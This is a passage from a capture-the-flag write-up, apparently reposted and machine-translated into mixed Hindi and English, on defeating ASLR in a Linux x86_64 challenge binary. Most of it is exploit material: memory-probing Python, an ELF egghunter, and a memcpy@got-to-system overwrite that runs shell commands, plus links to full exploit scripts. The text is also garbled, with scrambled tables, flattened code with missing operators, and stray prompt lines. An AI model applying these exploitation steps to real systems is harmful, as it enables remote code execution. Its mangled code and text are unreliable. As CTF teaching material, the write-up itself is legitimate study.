/challenge/files/17.unkyle 7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle 7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle 7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle 7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle 7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle 7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle 7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0 7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0 7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle 7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle 7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle 7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle 7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle 7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle 7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle 7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle 7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle 7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle 7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0 7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0

... Libraries: ...

7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so

...

root@kitploit:~
आइए अपना ध्यान मेमोरी स्प्रेइंग के साथ बनाए गए पतों पर केंद्रित करें। \(*.unkyle files \)

हम [बाउंड्री क्रॉस ट्रिक](#Boundary-cross-trick) लागू करने का प्रयास कर सकते हैं।

| mem | 4gb सीमा पार?
| - |-
| 7fe2dc000000 | नहीं
| 7fe2e0000000 | नहीं
| 7fe2e4000000 | नहीं
| 7fe2e8000000 | नहीं
| 7fe2ec000000 | नहीं
| 7fe2f0000000 | नहीं
| 7fe2f4000000 | नहीं
| 7fe2f8000000 | नहीं
| 7fe2fc000000 | नहीं
| 7fe300000000 | हाँ
| 7fe304000000 | हाँ
| 7fe308000000 | हाँ
7fe2.. से 7fe3.. में बदलाव का फायदा उठाकर, हम मेमोरी को 0x100000000 = 4gb मेमोरी के स्टेप से स्कैन कर सकते हैं।

## 4.5 अंततः ASLR को हराना

इस स्टेप साइज़ को देखते हुए, हम `start=0x7f0000000000` से `end=0x800000000000` तक केवल `end - start / size` = 256 क्वेरीज़ के साथ स्कैन कर सकते हैं।```py
start = 0x7f0000000000
end = 0x800000000000 
step = 0x100000000 # 4gb

isMapped = False
j = 0xff
while isMapped == False:
    leakAddr = start + j*step
    isMapped = (isAddrMapped(leakAddr, 1000 + j))
    j -= 1

At this point, हमारे पास leakAddr है जो एक मैप किया गया पता है जैसे: 0x7fXX00000000, इस मामले में, leakAddr = 0x7fe300000000.

अब, यदि हम saelo तकनीक का अनुसरण करना चाहते हैं, तो हमें निचली और ऊपरी सीमाएँ खोजने के लिए 0x7fXX00000000 - 0x7fXXffffffff की रेंज पर बाइनरी खोज करनी चाहिए, समस्या यह है कि उस रेंज में कुछ छेद हैं, इसलिए बाइनरी खोज कई बार विफल हो जाती है।

आप स्वयं जाँच सकते हैं इस स्क्रिप्ट से:``` RANGE SIZE

0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000

root@kitploit:~
That small gap between 0x00007f763c000000 और 0x00007f763ccaa000 के बीच का छोटा गैप बाइनरी सर्च को गड़बड़ कर देता है, बेशक यह अभी भी संभव है, लेकिन मुझे एक आसान तरीका मिला।

### अवलोकन

हम अंतिम मैप किया गया पता प्राप्त करना चाहते हैं, क्योंकि वहीं पर लाइब्रेरीज़ मैप होती हैं।

उदाहरण के लिए, लाइब्रेरीज़ के लिए उन मैपिंग्स को देखें:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so

हम इस तरकीब से पता 7fe3d6a5b000 - 0x1000 खोज सकते हैं:

lastMappedPage = 0x7fe3d6a5a000

हम एक बार में आधा बाइट ब्रूटफोर्स कर रहे हैं, सबसे खराब स्थिति के लिए 165 = 80 क्वेरीज़।```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")

Find upper bound, we can't do a binary search because there are some holes which

screw things up

lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")

root@kitploit:~
## 4.6 एक्सप्लॉइट

आखिरकार, हमें मेमोरी मैपिंग के बारे में वह सब कुछ पता चल गया है जिसकी हमें आवश्यकता थी, अब केवल write what where प्रिमिटिव को कोड निष्पादन में बदलने की बात है।

कोड निष्पादन प्राप्त करने के लिए मैंने libkyle.so के memcpy@got एंट्री को system@libc से अधिलेखित कर दिया।

### libkyle बेस प्राप्त करें
भाग्य से, हमारे लिए libc बेस और libkyle.so बेस lastMappedPage से एक स्थिर ऑफसेट पर होते हैं, मुझे नहीं पता था कि ऐसा है, इसलिए मैंने एक egghunter लिखा जो `\x7fELF` \(ELF निष्पादन योग्य फ़ाइलों का हेडर\) खोजता है, जो अंततः उपयोगी नहीं रहा।```py
    # Scan backwards looking for b'\x7fELF'
    i = 0
    numElf = 0

    while numElf != 2:
        theAddr = lastMappedPage-0x1000*i
        hdr = readFromAddr(theAddr, 4, 40500+i)
        print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
        if hdr == b'\x7fELF':
            numElf += 1
            print (f"found elf at {theAddr:#x}")

        if i > 70:
            print ("Exploit failed, upper bound address was wrong")
            exit(1)

        i += 1

libkyle के memcpy@got को ओवरराइट करें और RCE प्राप्त करें

सौभाग्य से, memcpy@got को system से ओवरराइट करना flag पाने और उस आकर्षक इनाम का दावा करने के लिए पर्याप्त था :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)

root@kitploit:~
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
    exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)

in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)

uploadFile(exp.content, 123001)
# profit
getFile(123001)
root@kitploit:~
## 4.7 फ़्लैग!

आप एक्सप्लॉइट [यहाँ](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/x.py) पा सकते हैं।

<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>

एक्सप्लॉइट का 100% विश्वसनीय संस्करण भी [यहाँ](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/reliable_exploit.py) उपलब्ध है।

## 5. निष्कर्ष

आशा है आपको राइटअप पसंद आया होगा, अगर कुछ पर्याप्त स्पष्ट नहीं था तो मुझसे संपर्क करने में संकोच न करें [@nick0ve](https://twitter.com/nick0ve) :)
टूल डाउनलोड करें
mem16tb सीमा पार?
0x7fb03b55e010नहीं
0x7fa03b55d010नहीं
0x7f903b55c010नहीं
0x7f803b55b010नहीं
0x7f703b55a010नहीं
0x7f603b559010नहीं
0x7f503b558010नहीं
0x7f403b557010नहीं
0x7f303b556010नहीं
0x7f203b555010नहीं
0x7f103b554010नहीं
0x7f003b553010नहीं
0x7ef03b552010हाँ
0x7ee03b551010हाँ
0x7ed03b550010हाँ
0x7ec03b54f010हाँ

if (fstat(fd, &sb) != 0) { return NULL; }

/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

root@kitploit:~

Result = 0xffffffff00000001

That's the same as doing this

M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64

print ('{:#x}'.format(get_off(0xffffffff, 0)))

root@kitploit:~
पताक्या पता मैप हुआ है?
0x7fe3f0000000नहीं
0x7fe3e0000000नहीं
0x7fe3d0000000हाँ
0x7fe3df000000नहीं
0x7fe3de000000नहीं
0x7fe3dd000000नहीं
0x7fe3dc000000नहीं
0x7fe3db000000नहीं
0x7fe3da000000नहीं
0x7fe3d9000000नहीं
0x7fe3d8000000नहीं
0x7fe3d7000000नहीं
0x7fe3d6000000हाँ
0x7fe3d6f00000नहीं
0x7fe3d6e00000नहीं
0x7fe3d6d00000नहीं
0x7fe3d6c00000नहीं
0x7fe3d6b00000नहीं
0x7fe3d6a00000हाँ
0x7fe3d6af0000नहीं
0x7fe3d6ae0000नहीं
0x7fe3d6ad0000नहीं
0x7fe3d6ac0000नहीं
0x7fe3d6ab0000नहीं
0x7fe3d6aa0000नहीं
0x7fe3d6a90000नहीं
0x7fe3d6a80000नहीं
0x7fe3d6a70000नहीं
0x7fe3d6a60000नहीं
0x7fe3d6a50000हाँ
0x7fe3d6a5f000नहीं
0x7fe3d6a5e000नहीं
0x7fe3d6a5d000नहीं
0x7fe3d6a5c000नहीं
0x7fe3d6a5b000नहीं
0x7fe3d6a5a000हाँ